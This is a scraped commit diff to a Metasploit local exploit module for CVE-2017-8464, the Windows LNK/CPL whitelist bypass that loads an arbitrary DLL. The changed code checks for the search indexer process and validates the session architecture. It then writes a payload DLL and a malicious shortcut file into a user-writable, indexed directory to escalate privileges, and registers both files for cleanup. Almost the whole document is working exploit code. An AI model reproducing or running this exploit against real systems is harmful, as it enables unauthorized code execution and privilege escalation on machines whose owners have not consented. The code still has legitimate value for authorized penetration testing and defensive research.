@@ -7,7 +7,9 @@ class MetasploitModule < Msf::Exploit::Local
7
7
Rank = ExcellentRanking
8
8
9
9
include Msf ::Exploit ::EXE
10
+ include Msf ::Exploit ::FileDropper
10
11
include Msf ::Post ::File
12
+ include Msf ::Post ::Windows ::Priv
11
13
12
14
attr_accessor :exploit_dll_name
13
15
@@ -26,8 +28,8 @@ def initialize(info = {})
26
28
the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary
27
29
DLL file.
28
30
29
- If no PATH is specified, the module will use drive letters D through Z so the files
30
- may be placed in the root path of a drive such as a shared VM folder or USB drive .
31
+ The PATH option must be an absolute path to a writeable directory which is indexed for
32
+ searching. If no PATH is specified, the module defaults to %USERPROFILE% .
31
33
} ,
32
34
'Author' =>
33
35
[
@@ -47,8 +49,9 @@ def initialize(info = {})
47
49
] ,
48
50
'DefaultOptions' =>
49
51
{
50
- 'EXITFUNC' => 'process' ,
51
- 'WfsDelay' => 30 ,
52
+ 'EXITFUNC' => 'process' ,
53
+ 'FileDropperDelay' => 15 ,
54
+ 'WfsDelay' => 30
52
55
} ,
53
56
'Arch' => [ ARCH_X86 , ARCH_X64 ] ,
54
57
'Payload' =>
@@ -58,7 +61,6 @@ def initialize(info = {})
58
61
'Platform' => 'win' ,
59
62
'Targets' =>
60
63
[
61
- [ 'Automatic' , { 'Arch' => ARCH_ANY } ] ,
62
64
[ 'Windows x64' , { 'Arch' => ARCH_X64 } ] ,
63
65
[ 'Windows x86' , { 'Arch' => ARCH_X86 } ]
64
66
] ,
@@ -84,22 +86,53 @@ def initialize(info = {})
84
86
)
85
87
end
86
88
89
+ def check
90
+ if session . sys . process [ 'SearchIndexer.exe' ]
91
+ return Exploit ::CheckCode ::Detected
92
+ end
93
+
94
+ Exploit ::CheckCode ::Safe
95
+ end
96
+
97
+ def get_name ( option , default_ext )
98
+ name = datastore [ option ] . to_s . strip
99
+ name = "#{ rand_text_alpha ( 16 ) } .#{ default_ext } " if name . blank?
100
+ name
101
+ end
102
+
87
103
def exploit
104
+ if is_system?
105
+ fail_with ( Failure ::None , 'Session is already elevated' )
106
+ end
107
+
108
+ if session . platform != 'windows'
109
+ fail_with ( Failure ::NoTarget , 'This exploit requires a native Windows meterpreter session' )
110
+ end
111
+
112
+ if check == Exploit ::CheckCode ::Safe
113
+ fail_with ( Failure ::NotVulnerable , 'Exploit not available on this system.' )
114
+ end
115
+
116
+ if sysinfo [ 'Architecture' ] == ARCH_X64 && target . arch . first == ARCH_X86
117
+ fail_with ( Failure ::NoTarget , 'Session host is x64, but the target is specified as x86' )
118
+ elsif sysinfo [ 'Architecture' ] == ARCH_X86 && target . arch . first == ARCH_X64
119
+ fail_with ( Failure ::NoTarget , 'Session host is x86, but the target is specified as x64' )
120
+ end
121
+
88
122
path = ::File . join ( Msf ::Config . data_directory , 'exploits' , 'cve-2017-8464' )
89
123
arch = target [ 'Arch' ] == ARCH_ANY ? payload . arch . first : target [ 'Arch' ]
90
124
datastore [ 'EXE::Path' ] = path
91
125
datastore [ 'EXE::Template' ] = ::File . join ( path , "template_#{ arch } _windows.dll" )
92
126
93
- path = datastore [ 'PATH' ] || session . fs . file . expand_path ( "%TEMP %" )
127
+ path = datastore [ 'PATH' ] || session . fs . file . expand_path ( "%USERPROFILE %" )
94
128
path . chomp! ( "\\ " )
95
129
96
- dll = generate_payload_dll
97
- dll_name = datastore [ 'DLLNAME' ] || "#{ rand_text_alpha ( 16 ) } .dll"
98
- dll_path = write_file ( "#{ path } \\ #{ dll_name } " , dll )
130
+ dll_path = "#{ path } \\ #{ get_name ( 'DLLNAME' , 'dll' ) } "
131
+ write_file ( dll_path , generate_payload_dll )
99
132
100
- lnk = generate_link ( "#{ path } \\ #{ dll_name } " )
101
- lnk_filename = datastore [ 'FILENAME' ] || " #{ rand_text_alpha ( 16 ) } .lnk"
102
- lnk_path = write_file ( " #{ path } \\ #{ lnk_filename } " , lnk )
133
+ lnk_path = "#{ path } \\ #{ get_name ( 'FILENAME' , 'lnk' ) } "
134
+ write_file ( lnk_path , generate_link ( dll_path ) )
135
+ register_files_for_cleanup ( dll_path , lnk_path )
103
136
end
104
137
105
138
def generate_link ( path )
0 commit comments